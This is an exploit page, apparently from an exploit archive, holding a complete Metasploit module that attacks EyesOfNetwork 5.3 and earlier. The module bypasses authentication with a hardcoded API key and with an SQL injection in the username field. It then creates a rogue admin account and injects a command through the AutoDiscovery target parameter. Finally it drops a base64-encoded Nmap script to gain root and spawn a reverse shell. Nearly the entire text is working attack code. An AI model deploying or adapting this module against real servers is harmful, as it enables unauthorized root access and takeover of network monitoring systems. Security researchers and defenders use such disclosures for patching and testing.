EyesOfNetwork AutoDiscovery Target Command Execution

2020.03.04
Credit: Brendan Coles
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-78

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'EyesOfNetwork AutoDiscovery Target Command Execution', 'Description' => %q{ This module exploits multiple vulnerabilities in EyesOfNetwork version 5.3 and prior in order to execute arbitrary commands as root. This module takes advantage of a command injection vulnerability in the `target` parameter of the AutoDiscovery functionality within the EON web interface in order to write an Nmap NSE script containing the payload to disk. It then starts an Nmap scan to activate the payload. This results in privilege escalation because the`apache` user can execute Nmap as root. Valid credentials for a user with administrative privileges are required. However, this module can bypass authentication via two methods, i.e. by generating an API access token based on a hardcoded key, and via SQLI. This module has been successfully tested on EyesOfNetwork 5.3 with API version 2.4.2. }, 'License' => MSF_LICENSE, 'Author' => [ 'Clément Billac', # @h4knet - Discovery and exploit 'bcoles', # Metasploit 'Erik Wynter' # @wyntererik - Metasploit ], 'References' => [ ['CVE', '2020-8654'], # authenticated rce ['CVE', '2020-8655'], # nmap privesc ['CVE', '2020-8656'], # sqli auth bypass ['CVE', '2020-8657'], # hardcoded API key ['EDB', '48025'] ], 'Platform' => %w[unix linux], 'Arch' => ARCH_CMD, 'Targets' => [['Auto', { }]], 'Privileged' => true, 'DisclosureDate' => '2020-02-06', 'DefaultOptions' => { 'RPORT' => 443, 'SSL' => true, #HTTPS is required for the module to work 'PAYLOAD' => 'generic/shell_reverse_tcp' }, 'DefaultTarget' => 0)) register_options [ OptString.new('TARGETURI', [true, 'Base path to EyesOfNetwork', '/']), OptString.new('SERVER_ADDR', [true, 'EyesOfNetwork server IP address (if different from RHOST)', '']), ] register_advanced_options [ OptBool.new('ForceExploit', [false, 'Override check result', false]) ] end def nmap_path '/usr/bin/nmap' end def server_addr datastore['SERVER_ADDR'].blank? ? rhost : datastore['SERVER_ADDR'] end def check vprint_status("Running check") res = send_request_cgi 'uri' => normalize_uri(target_uri.path, '/eonapi/getApiKey') unless res return CheckCode::Unknown('Connection failed') end unless res.code == 401 && res.body.include?('api_version') return CheckCode::Safe('Target is not an EyesOfNetwork application.') end version = res.get_json_document()['api_version'] rescue '' if version.to_s.eql? '' return CheckCode::Detected('Could not determine EyesOfNetwork version.') end version = Gem::Version.new version unless version <= Gem::Version.new('2.4.2') return CheckCode::Safe("Target is EyesOfNetwork with API version #{version}.") end CheckCode::Appears("Target is EyesOfNetwork with API version #{version}.") end def generate_api_key default_key = "€On@piK3Y" default_user_id = 1 key = Digest::MD5.hexdigest(default_key + default_user_id.to_s) Digest::SHA256.hexdigest(key + server_addr) end def sqli_to_api_key # Attempt to obtain the admin API key via SQL injection, using a fake password and its md5 encrypted hash fake_pass = Rex::Text::rand_text_alpha(10) fake_pass_md5 = Digest::MD5.hexdigest("#{fake_pass}") user_sqli = "' union select 1,'admin','#{fake_pass_md5}',0,0,1,1,8 or '" api_res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, "/eonapi/getApiKey"), 'method' => 'GET', 'vars_get' => { 'username' => user_sqli, 'password' => fake_pass } }) unless api_res print_error('Connection failed.') return end unless api_res.code == 200 && api_res.get_json_document.include?('EONAPI_KEY') print_error("SQL injection to obtain API key failed") return end api_res.get_json_document()['EONAPI_KEY'] end def create_eon_user(user, password) vprint_status("Creating user #{user} ...") vars_post = { user_name: user, user_group: "admins", user_password: password } res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/eonapi/createEonUser'), 'ctype' => 'application/json', 'vars_get' => { 'apiKey' => @api_key, 'username' => @api_user }, 'data' => vars_post.to_json }) unless res print_warning("Failed to create user: Connection failed.") return end return res end def verify_api_key(res) return false unless res.code == 200 json_data = res.get_json_document json_res = json_data['result'] return false unless json_res && json_res['description'] json_res = json_res['description'] return true if json_res && json_res.include?('SUCCESS') return false end def delete_eon_user(user) vprint_status "Removing user #{user} ..." res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/eonapi/deleteEonUser'), 'ctype' => 'application/json', 'data' => { user_name: user }.to_json, 'vars_get' => { apiKey: @api_key, username: @api_user } }) unless res print_warning 'Removing user #{user} failed: Connection failed' return end res end def login(user, pass) vprint_status "Authenticating as #{user} ..." res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'login.php'), 'vars_post' => { login: user, mdp: pass } }) unless res fail_with Failure::Unreachable, 'Connection failed' end unless res.code == 200 && res.body.include?('dashboard_view') fail_with Failure::NoAccess, 'Authentication failed' end print_good "Authenticated as user #{user}" @cookie = res.get_cookies if @cookie.empty? fail_with Failure::UnexpectedReply, 'Failed to retrieve cookies' end res end def create_autodiscovery_job(cmd) vprint_status "Creating AutoDiscovery job: #{cmd}" res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/lilac/autodiscovery.php'), 'cookie' => @cookie, 'vars_post' => { 'request' => 'autodiscover', 'job_name' => 'Internal discovery', 'job_description' => 'Internal EON discovery procedure.', 'nmap_binary' => nmap_path, 'default_template' => '', 'target[]' => cmd } }) unless res fail_with Failure::Unreachable, 'Creating AutoDiscovery job failed: Connection failed' end unless res.body.include? 'Starting...' fail_with Failure::Unknown, 'Creating AutoDiscovery job failed: Job failed to start' end res end def delete_autodiscovery_job(job_id) vprint_status "Removing AutoDiscovery job #{job_id} ..." res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/lilac/autodiscovery.php'), 'cookie' => @cookie, 'vars_get' => { id: job_id, delete: 1 } }) unless res print_warning "Removing AutoDiscovery job #{job_id} failed: Connection failed" return end res end def execute_command(cmd, opts = {}) res = create_autodiscovery_job ";#{cmd} #" return unless res job_id = res.body.scan(/autodiscovery.php\?id=([\d]+)/).flatten.first if job_id.empty? print_warning 'Could not retrieve AutoDiscovery job ID. Manual removal required.' return end delete_autodiscovery_job job_id end def cleanup super if @username delete_eon_user @username end end def exploit unless [CheckCode::Detected, CheckCode::Appears].include? check unless datastore['ForceExploit'] fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.' end print_warning 'Target does not appear to be vulnerable' end @api_user = 'admin' @api_key = generate_api_key print_status "Using generated API key: #{@api_key}" @username = rand_text_alphanumeric(8..12) @password = rand_text_alphanumeric(8..12) create_res = create_eon_user @username, @password unless verify_api_key(create_res) @api_key = sqli_to_api_key fail_with Failure::NoAccess, 'Failed to obtain valid API key' unless @api_key print_status("Using API key obtained via SQL injection: #{@api_key}") sqli_verify = create_eon_user @username, @password fail_with Failure::NoAccess, 'Failed to obtain valid API with sqli' unless verify_api_key(sqli_verify) end admin_group_id = 1 login @username, @password unless @cookie.include? 'group_id=' @cookie << "; group_id=#{admin_group_id}" end nse = Rex::Text.encode_base64("local os=require \"os\" hostrule=function(host) os.execute(\"#{payload.encoded.gsub(/"/, '\"')}\") end action=function() end") nse_path = "/tmp/.#{rand_text_alphanumeric 8..12}" cmd = "echo #{nse} | base64 -d > #{nse_path};sudo #{nmap_path} localhost -sn -script #{nse_path};rm #{nse_path}" print_status "Sending payload (#{cmd.length} bytes) ..." execute_command cmd end end


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